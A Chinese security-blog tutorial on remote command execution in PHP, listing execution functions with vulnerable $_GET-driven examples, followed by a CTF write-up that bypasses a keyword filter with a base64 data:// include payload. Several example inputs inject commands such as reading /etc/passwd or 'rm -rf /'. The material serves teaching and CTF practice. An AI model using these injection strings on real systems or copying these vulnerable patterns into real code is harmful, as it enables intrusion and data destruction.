文章总结: 本文深入解析远程命令执行漏洞原理,列举PHP中的高危代码与命令执行函数,并附带Python示例。通过CTF实战案例,演示了利用data://伪协议与Base64编码绕过过滤执行恶意代码的过程,为安全人员提供漏洞分析与利用的具体参考。
综合评分: 85
文章分类: WEB安全,漏洞分析,CTF,代码审计
远程命令执行漏洞介绍
原创
Caigensec
菜根网络安全杂谈
2025年3月16日 14:52
安徽
点击标题下「蓝色微信名」可快速关注
免责声明:本文仅用于合法范围的学习交流,若使用者将本文用于非法目的或违反相关法律法规的行为,一切责任由使用者自行承担。请遵守相关法律法规,勿做违法行为!本公众号尊重知识产权,如有侵权请联系我们删除。
01
漏洞简介
1、远程命令执行漏洞简介
远程命令执行漏洞(Remote Command Execution, RCE)是网络安全中一种高危漏洞,攻击者通过构造恶意输入,诱使目标系统执行任意命令或代码。此类漏洞通常发生在未对用户输入进行严格过滤的应用程序中,常见于 Web 应用、API 接口或网络服务。
2、命令执行函数
(1)PHP代码执行函数:
eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()
- eval()
// 基本用法(高危:直接执行字符串代码)
$code = 'echo "Hello, World!";';
eval($code); // 输出: Hello, World!
// 风险示例(用户输入未过滤)
eval($_GET['code']); // 输入 ?code=phpinfo(); 可泄露服务器信息
- assert()
// 基本用法(PHP <7.0 可执行代码)
assert('2 > 1'); // 断言成功,无输出
// 风险示例(PHP <7.0)
assert($_GET['code']); // 输入 ?code=system("whoami") 执行命令
- preg_replace()(使用 /e 修饰符,PHP 5.5+ 已废弃)
// 风险示例(执行替换中的代码)
$text = "Hello {name}!";
$result = preg_replace('/\{name\}/e', 'strtoupper("admin")', $text);
echo $result; // 输出: Hello ADMIN!
// 漏洞示例(动态执行用户输入)
preg_replace('/^(.*)/e', $_GET['code'], 'test'); // 输入 ?code=system("id")
- create_function()(PHP 7.2+ 已移除)
// 动态创建函数(风险:代码注入)
$func = create_function('$a', 'return $a + ' . $_GET['num'] . ';');
echo $func(5); // 输入 ?num=10; 输出 15
// 恶意输入 ?num=10); system("ls"); // 将执行命令
- array_map()
// 正常用法
$numbers = [1, 2, 3];
$squared = array_map(function($n) { return $n * $n; }, $numbers);
print_r($squared); // 输出: [1, 4, 9]
// 风险示例(用户控制回调)
$callback = $_GET['func']; // 输入 ?func=system
array_map($callback, ['whoami']); // 执行系统命令
- call_user_func()
// 正常回调
call_user_func('strtoupper', 'hello'); // 返回 "HELLO"
// 风险示例(动态回调)
call_user_func($_GET['func'], $_GET['arg']); // 输入 ?func=system&arg=id
- call_user_func_array()
// 正常用法
call_user_func_array('explode', [',', 'a,b,c']); // 返回数组 ['a', 'b', 'c']
// 风险示例
call_user_func_array($_GET['func'], [$_GET['arg']]); // 输入 ?func=system&arg=ls
- array_filter()
// 正常用法(过滤数组)
$numbers = [1, 2, 3, 4];
$even = array_filter($numbers, function($n) { return $n % 2 == 0; });
print_r($even); // 输出: [2, 4]
// 风险示例(动态回调)
array_filter([1], $_GET['callback']); // 输入 ?callback=system&0=whoami
- uasort()
// 正常排序
$array = ['a' => 3, 'b' => 1];
uasort($array, function($a, $b) { return $a - $b; });
print_r($array); // 输出: ['b' => 1, 'a' => 3]
// 风险示例(动态回调)
uasort([1], $_GET['callback']); // 输入 ?callback=system&0=whoami
(2)PHP命令执行函数:
system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()
- system()
// 执行命令并输出结果
system('ls -l'); // 列出当前目录文件
// 风险示例(命令注入)
system('ping ' . $_GET['ip']); // 输入 ?ip=127.0.0.1; cat /etc/passwd
- exec()
// 执行命令并获取输出
exec('ls', $output);
print_r($output); // 输出文件列表
// 风险示例
exec($_GET['cmd'], $output); // 输入 ?cmd=ls; rm -rf /
- shell_exec()
// 获取命令完整输出
$result = shell_exec('whoami');
echo $result; // 输出当前用户(如 www-data)
// 风险示例
$result = shell_exec('nmap ' . $_GET['target']); // 输入 ?target=192.168.1.1; id
- pcntl_exec()(需启用 pcntl 扩展)
// 执行指定程序(替换当前进程)
pcntl_exec('/bin/bash', ['-c', 'echo Hello']); // 输出 Hello 后进程终止
// 风险示例
pcntl_exec('/bin/sh', ['-c', $_GET['cmd']]); // 输入 ?cmd=rm -rf /
- popen()
// 打开进程管道
$handle = popen('ls -l', 'r');
echo fread($handle, 1024); // 读取命令输出
pclose($handle);
// 风险示例
popen('grep ' . $_GET['pattern'] . ' /etc/passwd', 'r'); // 输入 ?pattern='root'
- proc_open()
// 复杂进程控制
$descriptors = [['pipe', 'r'], ['pipe', 'w']];
$process = proc_open('php -r "echo 123;"', $descriptors, $pipes);
echo stream_get_contents($pipes[1]); // 输出 123
proc_close($process);
// 风险示例
proc_open($_GET['cmd'], $descriptors, $pipes); // 输入 ?cmd=php -r "system('id');"
- passthru()
// 直接输出二进制结果(如图像)
passthru('cat image.jpg');
// 风险示例
passthru('cat ' . $_GET['file']); // 输入 ?file=/etc/passwd
(3)Python命令执行代码
eval exec subprocess os.system commands
02
靶场练题
1、web入门38题
<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2020-09-04 00:12:34# @Last Modified by: h1xa# @Last Modified time: 2020-09-04 05:23:36# @email: [email protected]# @link: https://ctfer.com*///flag in flag.phperror_reporting(0);if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|php|file/i", $c)){include($c);echo $flag;}}else{highlight_file(__FILE__);}
(1)解题思路
为了绕过过滤并包含flag.php,可以利用PHP的data://协议将包含指令编码为Base64,从而避免在参数中出现被过滤的关键词。具体步骤如下:
- 构造Payload:创建PHP代码
<?php include('flag.php');?>,并对其进行Base64编码。 - URL编码:将编码后的字符串作为
data://协议的参数传递给c参数。
(2)解题代码
?c=data://text/plain;base64,PD9waHAgaW5jbHVkZSgnZmxhZy5waHAnKTs/Pg==
THE END
亲爱的朋友,若你觉得文章不错,请点击关注。你的关注是笔者创作的最大动力,感谢有你!
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:菜根网络安全杂谈 Caigensec《远程命令执行漏洞介绍》